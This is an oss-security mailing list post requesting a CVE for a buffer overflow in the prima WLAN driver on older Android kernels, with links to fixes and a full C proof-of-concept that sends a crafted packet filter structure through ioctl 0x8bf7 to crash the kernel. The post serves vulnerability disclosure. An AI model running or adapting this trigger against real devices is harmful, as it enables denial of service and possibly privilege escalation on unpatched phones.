Openwall GNU/*/Linux - a small security-enhanced Linux distro for servers
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Date: Sun, 24 Jan 2016 03:51:44 +0800
From: Shawn <citypw@...il.com>
To: oss-security@...ts.openwall.com
Cc: Pray3r Z <pray3r.z@...il.com>
Subject: CVE request for prima wlan driver: Address buffer overflow due to
 invalid length

**Introduction***

One exploitable bug has been fixed in prima wlan driver a few months
ago.

Upstream fix:
https://github.com/sonyxperiadev/prima/commit/4b91219ada9e73c897da2e0ae7bf2ff043dde950

Cyanogenmod's backport fix:
https://github.com/CyanogenMod/android_kernel_sony_msm8960t/commit/d58f1eacbdf55946ec7062ab6e4df462bf30ef32

It was lacking a check for valid length of copy a buffer, which can be
crafted by userspace. The application could communicate with wlan
driver via ioctl() with 0x8bf7 to enter into vulnerable code path.

This issue may leads to a local DoS or privilege escalation. Some
android phone/tablet are still using the vulnerable version of prima
driver. We've aware of android-msm-flo-3.4-marshmallow for Nexus 7(
2013) is affected by this isuee:

https://android.googlesource.com/kernel/msm/+/android-msm-flo-3.4-marshmallow

Plz review the file:

msm-kernel/drivers/staging/prima/CORE/HDD/src/wlan_hdd_wext.c


Then we've already sent a patch to backport fix for the branch and
still doesn't get any answer yet:

https://android.googlesource.com/kernel/msm/+/15c8afebed947b30370095cbb7de6257891a3971%5E!/#F0

PoC:

https://raw.githubusercontent.com/hardenedlinux/offensive_poc/master/prima_wlan_poc/wext_poc.c

Panic log:
https://raw.githubusercontent.com/hardenedlinux/offensive_poc/master/prima_wlan_poc/panic.log

Mitigation:

We haven't exmine if this issue can be exploited to gain the root
privileges. But some fancy mitigation like PXN is not support well for
android armv7. Porting PaX UDEREF is an another option.




-- 
GNU powered it...
GPL protect it...
God blessing it...

regards
Shawn

/*
 * Coder: Shawn the R0ck, [citypw@...il.com]
 * Co-worker: Pray3r, [pray3r.z@...il.com]
 * Compile:
 * # arm-linux-androideabi-gcc wext_poc.c --sysroot=$SYS_ROOT  -pie 
 * # ./a.out wlan0
 * Boom......shit happens[ as always];-)
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/wireless.h>
#include <errno.h>

typedef unsigned char v_U8_t;
#define HDD_MAX_CMP_PER_PACKET_FILTER     5

struct PacketFilterParamsCfg {
	v_U8_t protocolLayer;
	v_U8_t cmpFlag;
	v_U8_t dataOffset;
	v_U8_t dataLength;
	v_U8_t compareData[8];
	v_U8_t dataMask[8];
};

typedef struct {
	v_U8_t filterAction;
	v_U8_t filterId;
	v_U8_t numParams;
	struct PacketFilterParamsCfg
	    paramsData[HDD_MAX_CMP_PER_PACKET_FILTER];
} tPacketFilterCfg, *tpPacketFilterCfg;

int main(int argc, const char *argv[])
{
	if (argc != 2) {
		fprintf(stderr, "Bad usage\n");
		fprintf(stderr, "Usage: %s ifname\n", argv[0]);
		return -1;
	}

	struct iwreq req;
	strcpy(req.ifr_ifrn.ifrn_name, argv[1]);
	int fd, status, i = 0;
	fd = socket(AF_INET, SOCK_DGRAM, 0);
	tPacketFilterCfg p_req;

	/* crafting a data structure to triggering the code path */
	req.u.data.pointer =
	    malloc(sizeof(v_U8_t) * 3 +
		   sizeof(struct PacketFilterParamsCfg) * 5);
	p_req.filterAction = 1;
	p_req.filterId = 0;
	p_req.numParams = 3;
	for (; i < 5; i++) {
		p_req.paramsData[i].dataLength = 241;
		memset(&p_req.paramsData[i].compareData, 0x41, 16);
	}

	memcpy(req.u.data.pointer, &p_req,
	       sizeof(v_U8_t) * 3 +
	       sizeof(struct PacketFilterParamsCfg) * 5);

	if (ioctl(fd, 0x8bf7, &req) == -1) {
		fprintf(stderr, "Failed ioct() get on interface %s: %s\n",
			argv[1], strerror(errno));
	} else {
		printf("You shouldn't see this msg...\n");
	}

}

Powered by blists - more mailing lists

Your e-mail address:

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Powered by Openwall GNU/*/Linux - Powered by OpenVZ